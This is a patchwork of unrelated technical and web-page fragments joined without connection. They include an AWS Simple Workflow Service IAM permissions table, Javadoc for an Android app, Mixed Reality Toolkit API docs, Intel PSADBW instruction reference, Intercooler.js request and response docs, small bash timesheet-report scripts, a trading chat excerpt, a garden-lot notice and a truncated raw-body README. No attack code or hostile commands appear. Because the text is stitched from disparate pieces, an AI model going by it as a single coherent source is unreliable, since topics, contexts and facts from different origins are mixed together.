| RespondActivityTaskCompleted | Used by workers to tell the service that the ActivityTask identified by the taskToken completed successfully with a result (if provided). | Write | |||
| RespondActivityTaskFailed | Used by workers to tell the service that the ActivityTask identified by the taskToken has failed with reason (if specified). | Write | |||
| RespondDecisionTaskCompleted | Used by deciders to tell the service that the DecisionTask identified by the taskToken has successfully completed. | Write | |||
| ScheduleActivityTask | Description for ScheduleActivityTask | Write | |||
| SignalExternalWorkflowExecution | Description for SignalExternalWorkflowExecution | Write | |||
| SignalWorkflowExecution | Records a WorkflowExecutionSignaled event in the workflow execution history and creates a decision task for the workflow execution identified by the given domain, workflowId and runId. | Write | |||
| StartChildWorkflowExecution | Description for StartChildWorkflowExecution | Write | |||
| StartTimer | Description for StartTimer | Write | |||
| StartWorkflowExecution | Starts an execution of the workflow type in the specified domain using the provided workflowId and input data. | Write | |||
| TagResource | This action tags an AWS SWF resource. | Tagging | |||
| TerminateWorkflowExecution | Records a WorkflowExecutionTerminated event and forces closure of the workflow execution identified by the given domain, runId, and workflowId. | Write | |||
| UntagResource | This action removes a tag from an AWS SWF resource. | Tagging | |||
Resources Defined by Amazon Simple Workflow Service
The following resource types are defined by this service and can be used in the
Resource
element of IAM permission policy statements. Each action in the Actions table identifies the resource types that can be specified with that action. A resource
type can also define which condition keys you can include in a policy. These
keys are displayed in the last column of the table. For details about the columns
in the following table, see The Resource Types Table.
| Resource Types | ARN | Condition Keys |
|---|---|---|
| domain |
arn:${Partition}:swf::${Account}:domain/${DomainName}
|
Condition Keys for Amazon Simple Workflow Service
Amazon Simple Workflow Service defines the following condition keys that can be used
in the Condition
element of an IAM policy. You can use these keys to further refine the conditions
under which the policy statement applies. For details about the columns in the
following table, see The Condition Keys Table.
To view the global condition keys that are available to all services, see Available Global Condition Keys in the IAM Policy Reference.
| Condition Keys | Description | Type |
|---|---|---|
| aws:RequestTag/${TagKey} | Tag for request. | String |
| aws:ResourceTag/${TagKey} | Tag for resource. | String |
| aws:TagKeys | Tag for key. | String |
| swf:activityType.name | Constrains the policy statement to only an activity type of the specified name. | String |
| swf:activityType.version | Contstrains the policy statement to only an activity type of the specified version. | String |
| swf:defaultTaskList.name | Constrains the policy statement to only requests that specify a matching defaultTaskList name. | String |
| swf:name | Constrains the policy statement to only activities or workflows with the specified name. | String |
| swf:tagFilter.tag | Constrains the policy statement to only requests that specify a matching tagFilter.tag value. | String |
| swf:tagList.member.0 | Constrains the policy statement to only requests that contain the specified tag. | String |
| swf:tagList.member.1 | Constrains the policy statement to only requests that contain the specified tag. | String |
| swf:tagList.member.2 | Constrains the policy statement to only requests that contain the specified tag. | String |
| swf:tagList.member.3 | Constrains the policy statement to only requests that contain the specified tag. | String |
| swf:tagList.member.4 | Constrains the policy statement to only requests that contain the specified tag. | String |
| swf:taskList.name | Constrains the policy statement to only requests that specify a tasklist with the specified name. | String |
| swf:typeFilter.name | Constrains the policy statement to only requests that specify a type filter with the specified name. | String |
| swf:typeFilter.version | Constrains the policy statement to only requests that specify a type filter with the specified version. | String |
| swf:version | Constrains the policy statement to only activities or workflows with the specified version. | String |
| swf:workflowType.name | Constrains the policy statement to only a workflow of the specified type. | String |
| swf:workflowType.name | Constrains the policy statement to only requests that specify a workflow type of the specified name. | String |
| swf:workflowType.version | Constrains the policy statement to only requests that specify a workflow type of the specified version. | String |


It's Elisa
Travel
Food
Style
About
Contact
Mar 5, 2016
Hello World!
My first post! Welcome to my blog.
Newer
Older


- tearDown() - Method in class com.example.trialio.ExperimentCreateActivityTest
-
Closes the activity after each test
- tearDown() - Static method in class com.example.trialio.ExperimentManagerTest
-
Clean up the database before/after all tests by deleting all documents in the collection
- tearDown() - Method in class com.example.trialio.QuestionForumActivityTest
-
Closes the activity after each test
- tearDown() - Static method in class com.example.trialio.UserManagerTest
-
Deletes all test users in the database
- tearDown() - Method in class com.example.trialio.ViewUserActivityTest
-
Closes the activity after each test.
- testAddUserUpdateListener() - Method in class com.example.trialio.UserManagerTest
-
Test the user update listener
- testCreateNewUser() - Method in class com.example.trialio.UserManagerTest
-
Test the creating of a User in the system
- testDeleteExperiment() - Method in class com.example.trialio.ExperimentManagerTest
-
Test deleting an experiment with the ExperimentManager
- testDeleteUser() - Method in class com.example.trialio.UserManagerTest
-
Test the deleting of a user in the system
- testEditExperiment() - Method in class com.example.trialio.ExperimentManagerTest
-
Test editing an experiment using the experiment manager
- testGetOwnedExperiments() - Method in class com.example.trialio.ExperimentManagerTest
-
Test getting experiments owned by a specific user
- testGetUserById() - Method in class com.example.trialio.UserManagerTest
-
Test the getting of a user from the system
- testGetUserByUsername() - Method in class com.example.trialio.UserManagerTest
-
Test the getting of a user from the system
- testPublishExperiment() - Method in class com.example.trialio.ExperimentManagerTest
-
Tests the publishing of experiments
- testSearchByKeyword() - Method in class com.example.trialio.ExperimentManagerTest
-
Test searching for experiments given a list of keywords
- testSetOnAllExperimentsFetchCallback() - Method in class com.example.trialio.ExperimentManagerTest
-
Test getting several experiments using the ExperimentManager
- testSetOnExperimentFetchListener() - Method in class com.example.trialio.ExperimentManagerTest
-
Test getting experiments using the ExperimentManager
- testTransferUsername() - Method in class com.example.trialio.UserManagerTest
-
Test the transferring of a user to a new username
- testUpdateUser() - Method in class com.example.trialio.UserManagerTest
-
Test the updating of a user in the system
- toString() - Method in class com.example.trialio.models.Experiment
-
Returns the string representation of the experiment
- transferTo(BarcodeManager, boolean) - Method in class com.example.trialio.controllers.BarcodeManager
-
Copies all barcodes to a new BarcodeManager.
- transferUsername(User, String) - Method in class com.example.trialio.controllers.UserManager
-
Transfers a User profile to a new username.
- Trial - Class in com.example.trialio.models
-
Represents a general trial, experiment type not specified
- Trial() - Constructor for class com.example.trialio.models.Trial
-
Constructor for a Trial
- Trial(String, Location, Date) - Constructor for class com.example.trialio.models.Trial
-
Constructor for a Trial
- TrialActivity - Class in com.example.trialio.activities
-
This activity shows a list of trials for an experiment when a user clicks the "trials" button from the
experiment activity
- TrialActivity() - Constructor for class com.example.trialio.activities.TrialActivity
-
- TrialAdapter - Class in com.example.trialio.adapters
-
This class inherits from ArrayAdapter and is responsible for adapting a Trial object into the GUI
ListView item to be displayed on the app screen.
- TrialAdapter(Context, ArrayList<Trial>, String) - Constructor for class com.example.trialio.adapters.TrialAdapter
-
- TrialManager - Class in com.example.trialio.controllers
-
TrialManager manages Trials for an experiment and is responsible for the persistence of Trial
data.
- TrialManager() - Constructor for class com.example.trialio.controllers.TrialManager
-
- TrialManager(String, String, boolean, int) - Constructor for class com.example.trialio.controllers.TrialManager
-
- TrialManager.OnAllVisibleTrialsFetchListener - Interface in com.example.trialio.controllers
-
This interface represents an action to be taken when all visible trials of a collection have
been fetched.


Open Community Data Exchange
The OCDX community supports an open standard for describing data about online communities, as well as the support tools and workflow patterns for researchers and data providers to share their datasets with the wider community. The OCDX community aims to provide the lowest barriers to contributing/sharing data. We welcome your input, suggesting fields information for inclusion in the OCDX specification.
{% include 'searchBox.html' %}


top
| up
| prev
| next
Mutex Class
Definition at line 49
of Mutex.hpp
Constructors
Member Functions
Member Variables
Constructor Details
Mutex Constructor
soulng::util::Mutex::Mutex(char
id_)
Definition at line 61
of Mutex.cpp
:
61 : id(id_)
62 {
63 }
Declaration at line 52
of Mutex.hpp
Member Function Details
Id Member Function
char
soulng::util::Mutex::Id() const
Definition at line 53
of Mutex.hpp
:
53 { return id; }
Called by: soulng::util::LockGuard::Lock
Lock Member Function
void
soulng::util::Mutex::Lock()
Definition at line 54
of Mutex.hpp
:
54 { mtx.lock(); }
Called by: soulng::util::LockGuard::Lock
Mtx Member Function
std::mutex& soulng::util::Mutex::Mtx()
Definition at line 56
of Mutex.hpp
:
56 { return mtx; }
Unlock Member Function
void
soulng::util::Mutex::Unlock()
Definition at line 55
of Mutex.hpp
:
55 { mtx.unlock(); }
Called by: soulng::util::LockGuard::Unlock
top
| up
| prev
| next


There are 3 important guidelines
1. Use the lot only for gardening and landscape beautification.
2. Keep the Lot free of weeds, debris, litter and compost piles. .
3. Monitor your email - we will send periodic updates and notify you when community maintenance days are scheduled.


Clicking the "Start Quiz" button presents the user with a series of questions.
The timer is initialized with a value and immediately begins countdown.
Score is calculated by time remaining. Answering quickly and correctly results in a higher score.
Answering incorrectly results in a time penalty.
When time runs out and/or all questions are answered, the user is presented with their final score
and asked to enter their initials


|
piSmasher Configuration Libraries
piSmasher peripheral device configuration libraries
|
Data Fields | |
| struct tda1997x_info_any | any |
| struct tda1997x_info_vs | vs |
| struct tda1997x_info_avi | avi |
| struct tda1997x_info_spd | spd |
| struct tda1997x_info_aud | aud |
| struct tda1997x_info_mps | mps |
| struct tda1997x_info_any any |
Generic infoframe data
| struct tda1997x_info_aud aud |
Audio infoframe
| struct tda1997x_info_avi avi |
Auxiliary video information
| struct tda1997x_info_mps mps |
MPEG source infoframe
| struct tda1997x_info_spd spd |
Source product description
| struct tda1997x_info_vs vs |
Vendor specific


A complex ASCII animator written in C#.
Buy Now
It's a really lightweight program; it's under 1mb.
Although it may only be processing text, it's still designed well.
An animation can easily be worked on by other people.
The project files are self-contained, small files.


About allSnap
Contact
Author
Ivan Heckman
mail:
<EMAIL_ADDRESS>website:
http://members.rogers.com/ivanheckman
Support
Support this software through a
PayPal
donation.
Copyright
Copyright © 2002-2004 Ivan Heckman


Simulation date: %%DATE%%; System behavior: %%BEHAVIOR%%
Result: Simulation was successful!
Visitors' data
Total number of visitors: %%NUM_VISITORS%%. Number of visitors, that must wait for lift: %%AWT_COUNT%%.
Average waiting time was %%AWT%% iteration.
| Maximum | Minimum | STDEV |
| %%AWT_MAX%% | %%AWT_MIN%% | %%AWT_STDEV%% |
Average time spent in lift was %%ALT%% iteration.
| Maximum | Minimum | STDEV |
| %%ALT_MAX%% | %%ALT_MIN%% | %%ALT_STDEV%% |
Average travel time was %%ATT%% iteration.
| Maximum | Minimum | STDEV |
| %%ATT_MAX%% | %%ATT_MIN%% | %%ATT_STDEV%% |
Data of lifts
Total number of lifts: %%LIFT_TOTAL%%.
Total number of floors covered: %%LIFT_FLOORS%%.
| Maximum floors | Minimum floors | Average of floors each |
| Lift no.%%LIFT_MAX_ID%% (%%LIFT_MAX_COUNT%%) | Lift no.%%LIFT_MIN_ID%% (%%LIFT_MIN_COUNT%%) | %%LIFT_MEAN%% |
Figures
Figure 1: Histogram of arrivals
Figure 2: Average waiting time during simulation and visitors' waiting times


Imagination is more important than knowledge. (Albert Einstein)
Imagination is more important than knowledge. (Albert Einstein)
Imagination is more important than knowledge. (Albert Einstein)
Imagination is more important than knowledge. (Albert Einstein)
Imagination is more important than knowledge. (Albert Einstein)
Imagination is more important than knowledge. (
Albert Einstein
)
Imagination is more important than knowledge. (Albert Einstein)
Imagination is more important than knowledge. (Albert Einstein)


This feature enables users to customize native template of Data loading spinner by providing their own template when data loading is in progress. for it's basic usages and example please refer Basic Usage section.
As same as the all other templates, we can bind a specific property #ngDropdownLoadingSpinner
into
ng-template to indicates customize data loading spinner is need to be applied.
The following code block example shows the way of dropdown loading spinner template usages. In here we used simple text to override the native loading functionality. You can provide your own custom templates with any custom styles as you want.
{{demoSnippet.template}}


A channel to discuss trading. For useful links and more info click the pinned messages to the right.
100 messages
Before 05-Dec-19 12:00 AM
Justchill13-Mar-19 05:16 AM
Anyone can track anyone's transactions to find out what they hold. It just takes forensics.
Believe that if two companies were making a multimillion-dollar blockchain transaction they would incorporate a forensics team to have that information.
In an effort to showcase its unique multi-chain architecture, Komodo is disabling z-transactions from the KMD blockchain and moving it to a second chain.


Class MixedRealityBoundarySystem
The Boundary system controls the presentation and display of the users boundary in a scene.
Inherited Members
Namespace: XRTK.Services.BoundarySystem
Assembly: XRTK.dll
Syntax
[Guid("FE458876-CC0F-4B6F-9459-544DDF6A9263")]
public class MixedRealityBoundarySystem : BaseSystem, IMixedRealityBoundarySystem, IMixedRealitySystem, IMixedRealityService, IDisposable
Constructors
| Improve this Doc View SourceMixedRealityBoundarySystem(MixedRealityBoundaryProfile)
Constructor.
Declaration
public MixedRealityBoundarySystem(MixedRealityBoundaryProfile profile)
Parameters
| Type | Name | Description |
|---|---|---|
| MixedRealityBoundaryProfile | profile |
Properties
| Improve this Doc View SourceBoundaryBounds
Two dimensional representation of the geometry of the boundary, as provided by the platform.
Declaration
public Edge[] BoundaryBounds { get; }
Property Value
| Type | Description |
|---|---|
| Edge[] |
Remarks
BoundaryGeometry should be treated as the outline of the player's space, placed on the floor.
BoundaryDataProvider
The IMixedRealityBoundaryDataProvider assigned to this system.
Declaration
public IMixedRealityBoundaryDataProvider BoundaryDataProvider { get; }
Property Value
| Type | Description |
|---|---|
| IMixedRealityBoundaryDataProvider |
Remarks
Typically with systems, there can be multiple data providers, but in this case there should only ever be one.
BoundaryHeight
The height of the play space, in meters.
Declaration
public float BoundaryHeight { get; set; }
Property Value
| Type | Description |
|---|---|
| Single |
Remarks
This is used to create a three dimensional boundary volume.
IsConfigured
Has the boundary been properly configured by the user?
Declaration
public bool IsConfigured { get; }
Property Value
| Type | Description |
|---|---|
| Boolean |
IsVisible
Is the platform or the boundary system's rendered boundary geometry visible?
Declaration
public bool IsVisible { get; set; }
Property Value
| Type | Description |
|---|---|
| Boolean |
Remarks
This can enables or disables both the platform's and boundary systems rendered geometry, but the platform can always override their rendering state.
ShowBoundary
Enable or disable the generated boundary geometry.
Declaration
public bool ShowBoundary { get; set; }
Property Value
| Type | Description |
|---|---|
| Boolean |
Remarks
This cannot or ever will disable or override the platform's built-in boundary systems.
ShowCeiling
Enable or disable boundary ceiling geometry.
Declaration
public bool ShowCeiling { get; set; }
Property Value
| Type | Description |
|---|---|
| Boolean |
Remarks
The ceiling is defined as a GameObject positioned BoundaryHeight above the floor.
ShowFloor
Enable or disable floor geometry.
Declaration
public bool ShowFloor { get; set; }
Property Value
| Type | Description |
|---|---|
| Boolean |
ShowWalls
Enable or disable boundary wall geometry.
Declaration
public bool ShowWalls { get; set; }
Property Value
| Type | Description |
|---|---|
| Boolean |
TrackedObjects
The list of currently tracked objects that will raise BoundaryProximityAlerts.
Declaration
public IReadOnlyList<GameObject> TrackedObjects { get; }
Property Value
| Type | Description |
|---|---|
| IReadOnlyList<GameObject> |
Methods
| Improve this Doc View SourceDestroy()
Optional Destroy function to perform cleanup of the service before the Mixed Reality Toolkit is destroyed.
Declaration
public override void Destroy()
Overrides
| Improve this Doc View SourceDisable()
Optional Disable function to pause the service.
Declaration
public override void Disable()
Overrides
| Improve this Doc View SourceIsInsideBoundary(Vector3, Space)
Determines if a
Declaration
public bool IsInsideBoundary(Vector3 position, Space referenceSpace = Space.World)
Parameters
| Type | Name | Description |
|---|---|---|
| Vector3 | position | The Vector3 position to be checked. |
| Space | referenceSpace | Is this position using local or worldspace coordinate space? |
Returns
| Type | Description |
|---|---|
| Boolean | True if the location is within the area of the boundary space, otherwise false. |
RegisterTrackedObject(GameObject)
Registers the Transform of a GameObject to be tracked for BoundaryProximityAlerts.
Declaration
public void RegisterTrackedObject(GameObject gameObject)
Parameters
| Type | Name | Description |
|---|---|---|
| GameObject | gameObject |
SetupBoundary(IMixedRealityBoundaryDataProvider)
Sets up the boundary using the IMixedRealityBoundaryDataProvider specified.
Declaration
public void SetupBoundary(IMixedRealityBoundaryDataProvider dataProvider)
Parameters
| Type | Name | Description |
|---|---|---|
| IMixedRealityBoundaryDataProvider | dataProvider |
Remarks
This method should usually be called from the Enable() method of the data provider itself.
TryGetRectangularBoundsParams(out Vector2, out Single, out Single, out Single)
Returns the description of the inscribed rectangular bounds.
Declaration
public bool TryGetRectangularBoundsParams(out Vector2 center, out float angle, out float width, out float height)
Parameters
| Type | Name | Description |
|---|---|---|
| Vector2 | center | The center of the rectangle. |
| Single | angle | The orientation of the rectangle. |
| Single | width | The width of the rectangle. |
| Single | height | The height of the rectangle. |
Returns
| Type | Description |
|---|---|
| Boolean | True if an inscribed rectangle was found in the boundary geometry, false otherwise. |
UnregisterTrackedObject(GameObject)
Unregisters the Transform of a GameObject from BoundaryProximityAlerts.
Declaration
public void UnregisterTrackedObject(GameObject gameObject)
Parameters
| Type | Name | Description |
|---|---|---|
| GameObject | gameObject |
Update()
Optional Update function to perform per-frame updates of the service.
Declaration
public override void Update()
Overrides
Events
| Improve this Doc View SourceBoundaryProximityAlert
Event raised when a tracked object nears, or crosses the boundary.
Declaration
public event Action<GameObject, ProximityAlert> BoundaryProximityAlert
Event Type
| Type | Description |
|---|---|
| Action<GameObject, ProximityAlert> |


| Opcode/Instruction | Op/En | 64/32 bit Mode Support | CPUID Feature Flag | Description |
| 0F F6 /r1 PSADBW mm1, mm2/m64 | RM | V/V | SSE | Computes the absolute differences of the packed unsigned byte integers from mm2 /m64 and mm1; differences are then summed to produce an unsigned word integer result. |
| 66 0F F6 /r PSADBW xmm1, xmm2/m128 | RM | V/V | SSE2 | Computes the absolute differences of the packed unsigned byte integers from xmm2 /m128 and xmm1; the 8 low differences and 8 high differences are then summed separately to produce two unsigned word integer results. |
| VEX.NDS.128.66.0F.WIG F6 /r VPSADBW xmm1, xmm2, xmm3/m128 | RVM | V/V | AVX | Computes the absolute differences of the packed unsigned byte integers from xmm3 /m128 and xmm2; the 8 low differences and 8 high differences are then summed separately to produce two unsigned word integer results. |
| VEX.NDS.256.66.0F.WIG F6 /r VPSADBW ymm1, ymm2, ymm3/m256 | RVM | V/V | AVX2 | Computes the absolute differences of the packed unsigned byte integers from ymm3 /m256 and ymm2; then each consecutive 8 differences are summed separately to produce four unsigned word integer results. |
Notes: 1. See note in Section 2.4, “Instruction Exception Specification” in the Intel® 64 and IA-32 Architectures Software Developer’s Manual, Volume 2A and Section 22.25.3, “Exception Conditions of Legacy SIMD Instructions Operating on MMX Registers” in the Intel® 64 and IA-32 Architectures Software Developer’s Manual, Volume 3A.
| Op/En | Operand 1 | Operand 2 | Operand 3 | Operand 4 |
| RM | ModRM:reg (r, w) | ModRM:r/m (r) | NA | NA |
| RVM | ModRM:reg (w) | VEX.vvvv (r) | ModRM:r/m (r) | NA |
Computes the absolute value of the difference of 8 unsigned byte integers from the source operand (second operand) and from the destination operand (first operand). These 8 differences are then summed to produce an unsigned word integer result that is stored in the destination operand. Figure 4-10 shows the operation of the PSADBW instruction when using 64-bit operands.
When operating on 64-bit operands, the word integer result is stored in the low word of the destination operand, and the remaining bytes in the destination operand are cleared to all 0s.
When operating on 128-bit operands, two packed results are computed. Here, the 8 low-order bytes of the source and destination operands are operated on to produce a word result that is stored in the low word of the destination operand, and the 8 high-order bytes are operated on to produce a word result that is stored in bits 64 through 79 of the destination operand. The remaining bytes of the destination operand are cleared.
In 64-bit mode, using a REX prefix in the form of REX.R permits this instruction to access additional registers (XMM8-XMM15). Legacy SSE version: The source operand can be an MMX technology register or a 64-bit memory location. The destination operand is an MMX technology register.
128-bit Legacy SSE version: The first source operand and destination register are XMM registers. The second source operand is an XMM register or a 128-bit memory location. Bits (VLMAX-1:128) of the corresponding YMM destination register remain unchanged.
VEX.128 encoded version: The first source operand and destination register are XMM registers. The second source operand is an XMM register or a 128-bit memory location. Bits (VLMAX-1:128) of the destination YMM register are zeroed. VEX.256 encoded version: The first source operand and destination register are YMM registers. The second source operand is an YMM register or a 256-bit memory location.
Note: VEX.L must be 0, otherwise the instruction will #UD.
| SRC Figure 4-10. | X7 Y7 ABS(X7:Y7) 00H | X6 Y6 ABS(X6:Y6) 00H PSADBW Instruction Operation Using 64-bit Operands | X5 Y5 ABS(X5:Y5) 00H | X4 Y4 ABS(X4:Y4) 00H | X3 Y3 ABS(X3:Y3) 00H | X2 Y2 ABS(X2:Y2) 00H | X1 Y1 ABS(X1:Y1) SUM(TEMP7...TEMP0) | X0 Y0 ABS(X0:Y0) DEST |
PSADBW (when using 64-bit operands) TEMP0 ← ABS(DEST[7:0] − SRC[7:0]); (* Repeat operation for bytes 2 through 6 *) TEMP7 ← ABS(DEST[63:56] − SRC[63:56]); DEST[15:0] ← SUM(TEMP0:TEMP7); DEST[63:16] ←<PHONE_NUMBER>00H; PSADBW (when using 128-bit operands) TEMP0 ← ABS(DEST[7:0] − SRC[7:0]); (* Repeat operation for bytes 2 through 14 *) TEMP15 ← ABS(DEST[127:120] − SRC[127:120]); DEST[15:0] ← SUM(TEMP0:TEMP7); DEST[63:16] ←<PHONE_NUMBER>00H; DEST[79:64] ← SUM(TEMP8:TEMP15); DEST[127:80] ←<PHONE_NUMBER>00H; DEST[VLMAX-1:128] (Unmodified) VPSADBW (VEX.128 encoded version) TEMP0 ← ABS(SRC1[7:0] - SRC2[7:0]) (* Repeat operation for bytes 2 through 14 *) TEMP15 ← ABS(SRC1[127:120] - SRC2[127:120]) DEST[15:0] ←SUM(TEMP0:TEMP7) DEST[63:16] ←<PHONE_NUMBER>00H DEST[79:64] ← SUM(TEMP8:TEMP15) DEST[127:80] ←<PHONE_NUMBER>0 DEST[VLMAX-1:128] ← 0 VPSADBW (VEX.256 encoded version) TEMP0 ← ABS(SRC1[7:0] - SRC2[7:0]) (* Repeat operation for bytes 2 through 30*) TEMP31 ← ABS(SRC1[255:248] - SRC2[255:248]) DEST[15:0] ←SUM(TEMP0:TEMP7) DEST[63:16] ←<PHONE_NUMBER>00H DEST[79:64] ← SUM(TEMP8:TEMP15) DEST[127:80] ←<PHONE_NUMBER>0H DEST[143:128] ←SUM(TEMP16:TEMP23) DEST[191:144] ←<PHONE_NUMBER>00H DEST[207:192] ← SUM(TEMP24:TEMP31) DEST[223:208] ←<PHONE_NUMBER>0H
| PSADBW: | __m64 _mm_sad_pu8(__m64 a,__m64 b) |
| (V)PSADBW: | __m128i _mm_sad_epu8(__m128i a, __m128i b) |
| VPSADBW: | __m256i _mm256_sad_epu8( __m256i a, __m256i b) |
None.
None.
See Exceptions Type 4; additionally
| #UD | If VEX.L = 1. |


This section describes the attributes of the two document control classes,
GenDocumentControlClass
and
GenDocumentGroupClass
, as well as of the
GenDocumentClass
. Note that GenDocument objects are created at run-time, and their attributes are initialized by the creating GenDocumentGroup object. However, their attributes can be changed with the appropriate messages.
Many of the messages to the GenDocumentControl have corresponding messages to the GenDocumentGroup. For example, to find out the GenDocumentControl's attributes, one can either send a
MSG_GEN_DOCUMENT_CONTROL_GET_ATTRS
to the GenDocumentControl or send a
MSG_GEN_DOCUMENT_GROUP_GET_UI_ATTRS
to the GenDocumentGroup. In either case, the message will return the same result. It is sometimes more convenient to send a message to the GenDocumentGroup object; for example, a document object can do this with
@call @genParent::<message>
.


--- layout: default nav: responses ---
Intercooler makes AJAX requests to various paths when certain events occur (e.g. A button with a
ic-post-to
attribute is clicked, or a polling interval occurs.) and expects a response
of a certain format (typically an HTML fragment). Below we describe both the request and response formats.
Intercooler requests can come take four different forms:
GET
- Typically created due to a refresh of an ic-src
attribute.POST
- Created by an element with a ic-post-to
attribute.PUT
- Created by an element with a ic-put-to
attribute.DELETE
- Created by an element with a ic-delete-from
attribute.
Because not all browsers support PUT
and DELETE
requests in AJAX, Intercooler
uses the Rails convention and adds a _method
parameter to the request.
Intercooler requests include a few standard parameters:
ic-request
- This will always be true
for Intercooler-based requests.ic-last-refresh
- This is a timestamp of the last time the target element was refreshed.
This can be used to calculate time-sensitive UI updates (e.g. appending to a list of messages.)ic-fingerprint
- The SHA256 fingerprint of the current content. This can be used to avoid
sending down unnecessary updates, caching, etc.Also included in the request is the form value of the element that is initiating the request. So, if the element is an input, it will include its name/value in the request. If it is a form, it will include the names/values of all inputs within the form.
You can also include other parameters using the ic-include
attribute.
Intercooler responses are typically HTML fragments. In the typical case, a fragment of HTML will be returned. Here is a simple example of a response body:

Here Is Some Content!

This would be swapped in in place of the element that initiated the request.
The returned content can contain Intercooler attributes itself, which will be all wired up.
You can control the exact style of the swap using the
ic-transition
attribute, and you can
control the element that will be swapped out via the request by using the
ic-target
attribute.
Intercooler interprets an empty body in a request as a No-Op, and will do nothing in response.
Sadly, not all UI patterns can be elegantly captured via straight element swapping. Occasionally you need to invoke a bit more client side javascript, let other elements know to refresh themselves, redirect the user entirely, etc.
To handle these situations, Intercooler responses have at their disposal some custom HTTP headers. These headers can be used to instruct intercooler to perform additional work :
The following Intercooler response headers are available:
X-ic-script
- Allows you to evaluate arbitrary javascript.X-ic-refresh
- Allows you to pass down arbitrary dependency paths to refresh.X-ic-remove
- Allows you to remove an item from the UI (rather than replacing it.)X-ic-redirect
- Allows you to redirect the browser to a new locationX-ic-open
- Allows you to open a new URL in the browser


Golang implementation of Simple Timesheet Notation plus dome additional utilities and go packages.
Main Simple Timesheet Notation utilities:
Helpful extra utilities:
For details of Simple Timesheet Notation markup see stn.md.
For details on using shorthand with stnparse or generate HTML in reports see shorthand.
In this example we are filtering entries for a specific date.
#!/bin/bash
# Get today in YYYY-MM-DD format
DAY=$(date +"%Y-%m-%d")
# If you normally use 12hr notation then use %I:%M otherwise for 23hr format use %H:M
NOW=$(date +%I:%M)
if [ "$1" = "" ]; then
echo "USAGE: rpt-time-by-date.sh YYYY-MM-DD"
else
DAY="$1"
fi
# Now that we have date in the format needed, create a pipeline for the report.
cat Time_Sheet.txt | shorthand -e "@now := $NOW" | stnparse |\
stnfilter -start="$DAY" -end="$DAY" | stnreport
In this example we use the reldate utility from this package to capture the start and end of the work week.
#!/bin/bash
#
# Report time for current week of the requested week starting with $1.
#
RELDATE=$(which reldate)
FOR_DATE=$(date +"%Y-%m-%d")
CUR_WEEK_DAY=$(date +%u)
# If you normally use 12hr notation then use %I:%M otherwise for 23hr format use %H:M
NOW=$(date +%I:%M)
# Make sure we have reldate command available.
if [ "$RELDATE" = "" ]; then
echo "Missing reldate command. See https://github.com/rsdoiel/reldate"
exit 1
fi
# See if we are asking for help
if [ "$1" = "--help" ] || [ "$1" = "-h" ]; then
echo "USAGE: rpt-time-by-week.sh YYYY-MM-DD"
echo " Without a date it reports the current week."
exit 1
elif [ "$1" != "" ]; then
FOR_DATE=$(reldate --from=$1 0 days)
fi
START_WEEK=$(reldate --from="$FOR_DATE" Sunday)
END_WEEK=$(reldate --from="$FOR_DATE" Saturday)
# Now that we have date in the format needed, create a pipeline for the report.
echo "Report for $START_WEEK through $END_WEEK"
cat Time_Sheet.txt | shorthand -e "@now := $NOW" |\
stnparse | stnfilter -start "$START_WEEK" -end "$END_WEEK" | stnreport
#!/bin/bash
# Get the month/year in YYYY-MM format.
FOR_DATE=$(date +"%Y-%m")
# If you normally use 12hr notation then use %I:%M otherwise for 23hr format use %H:M
NOW=$(date +%I:%M)
if [ "$1" = "--help" ] || [ "$1" = "-h" ]; then
echo "USAGE: rpt-time-by-month.sh YYYY-MM"
echo " Without a date it reports the current week."
exit 1
elif [ "$1" != "" ]; then
FOR_DATE="$1"
fi
START_OF_MONTH="$FOR_DATE-01"
END_OF_MONTH=$(reldate --from $START_OF_MONTH --end-of-month)
# Now that we have date in the format needed, create a pipeline for the report.
echo "Report for $START_OF_MONTH through $END_OF_MONTH"
cat Time_Sheet.txt | shorthand -e "@now := $NOW" | stnparse |\
stnfilter -start "$START_OF_MONTH" -end "$END_OF_MONTH" | stnreport
#!/bin/bash
# Get the year in YYYY format.
FOR_DATE=$(date +"%Y")
# If you normally use 12hr notation then use %I:%M otherwise for 23hr format use %H:M
NOW=$(date +%I:%M)
if [ "$1" = "--help" ] || [ "$1" = "-h" ]; then
echo "USAGE: rpt-time-by-week.sh YYYY-MM-DD"
echo " Without a date it reports the current week."
exit 1
elif [ "$1" != "" ]; then
FOR_DATE=$1
fi
function startYear {
echo "$FOR_DATE-01-01"
}
function endYear {
echo "$FOR_DATE-12-31"
}
# Now that we have date in the format needed, create a pipeline for the report.
echo "Report for $(startYear $FOR_DATE) through $(endYear $FOR_DATE)"
cat Time_Sheet.txt | shorthand -e "@now := $NOW" | stnparse |\
stnfilter -start "$(startYear $FOR_DATE)" -end "$(endYear $FOR_DATE)" | stnreport
stngo and its commands can be installed with the go get command.
go get github.com/rsdoiel/stngo/...


Class: SPE-NMR
http://nmrML.org/nmrCV#NMR:1400278
Annotations (2)
-
comment "A Solid Phase Extraction (SPE) system provides an interface between liquid chromatography (LC) and NMR. For the process of LC-SPE™ NMR a chromatographic separation is done and the peaks of interest are trapped on an individual SPE cartridge after the column. The peak selection is done either by UV detection or by evaluation of the on-line registered MS or MSn spectra." (string)
-
label "SPE-NMR" (string)
Superclasses (1)
Usage (1)


{% extends "base.html" %} {% load staticfiles %} {% block sidebar %}
{% endblock %} {% block content %} {% if success == 'true' %} Your account has been linked to Google. {% else %} Your account has been denied access by Google. Try again? {% endif %} {% endblock %}


Gets the entire buffer of a stream either as a Buffer
or a string.
Validates the stream's length against an expected length and maximum limit.
Ideal for parsing request bodies.
This is a Node.js module available through the
npm registry. Installation is done using the
npm install
command:
$ npm install raw-body
This module includes a TypeScript
declaration file to enable auto complete in compatible editors and type
information for TypeScript projects. This module depends on the Node.js
types, so install @types/node
:
$ npm install @types/node
var getRawBody = require('raw-body')
Returns a promise if no callback specified and global Promise
exists.
Options:
length
- The length of the stream.
If the contents of the stream do not add up to this length,
an 400
error code is returned.limit
- The byte limit of the body.
This is the number of bytes or any string format supported by
bytes,
for example 1000
, '500kb'
or '3mb'
.
If the body ends up being larger than this limit,
a 413
error code is returned.encoding
- The encoding to use to decode the body into a string.
By default, a Buffer
instance will be returned when no encoding is specified.
Most likely, you want utf-8
, so setting encoding
to true
will decode as utf-8
.
You can use any type of encoding supported by iconv-lite.You can also pass a string in place of options to just specify the encoding.
If an error occurs, the stream will be paused, everything unpiped,
and you are responsible for correctly disposing the stream.
For HTTP requests, no handling is required if you send a response.
For streams that use file descriptors, you should stream.destroy()
or stream.close()
to prevent leaks.
This module creates errors depending on the error condition during reading. The error may be an error from the underlying Node.js implementation, but is otherwise an error created by this module, which has the following attributes:
limit
- the limit in byteslength
and expected
